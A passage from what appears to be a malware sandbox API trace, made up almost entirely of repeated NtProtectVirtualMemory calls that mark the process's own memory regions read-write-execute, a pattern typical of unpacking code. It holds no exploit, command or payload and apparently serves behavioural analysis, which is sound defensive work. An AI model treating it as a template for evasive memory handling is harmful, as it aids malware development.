NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.192] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.213] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.491] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.671] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.739] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.060] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.097] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.299] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0324.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 